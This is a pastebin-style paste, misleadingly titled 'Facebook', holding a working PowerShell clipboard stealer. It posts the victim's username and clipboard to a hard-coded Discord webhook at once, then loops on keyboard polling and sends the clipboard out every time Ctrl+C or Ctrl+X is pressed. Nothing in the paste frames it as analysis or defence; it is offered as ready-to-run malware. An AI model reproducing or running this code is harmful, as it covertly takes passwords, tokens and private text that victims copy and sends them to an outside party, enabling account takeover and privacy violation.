Facebook
From Jittery Wolf, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 97
  1. Add-Type -AssemblyName WindowsBase
  2. Add-Type -AssemblyName PresentationCore
  3.  
  4. function dischat {
  5.  
  6.   [CmdletBinding()]
  7.   param (    
  8.   [Parameter (Position=0,Mandatory = $True)]
  9.   [string]$con
  10.   )
  11.  
  12.   $hookUrl = 'https://discord.com/api/webhooks/1023235203801563286/tidLuglzUvOnzS7hUTejQ_bqV-IVsiOyyq578udHsGnmrIJeNrrYoWEMVuA3GwT408z5'
  13.  
  14. $Body = @{
  15.   'username' = $env:username
  16.   'content' = $con
  17. }
  18.  
  19.  
  20. Invoke-RestMethod -Uri $hookUrl -Method 'post' -Body $Body
  21.  
  22. }
  23.  
  24.  
  25. dischat (get-clipboard)
  26.  
  27. while (1){
  28.     $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
  29.     $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::RightCtrl)
  30.     $cKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::c)
  31.     $xKey = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::x)
  32.  
  33.        if (($Lctrl -or $Rctrl) -and ($xKey -or $cKey)) {dischat (Get-Clipboard)}
  34.        elseif ($Rctrl -and $Lctrl) {dischat "---------connection lost----------";exit}
  35.        else {continue}
  36. }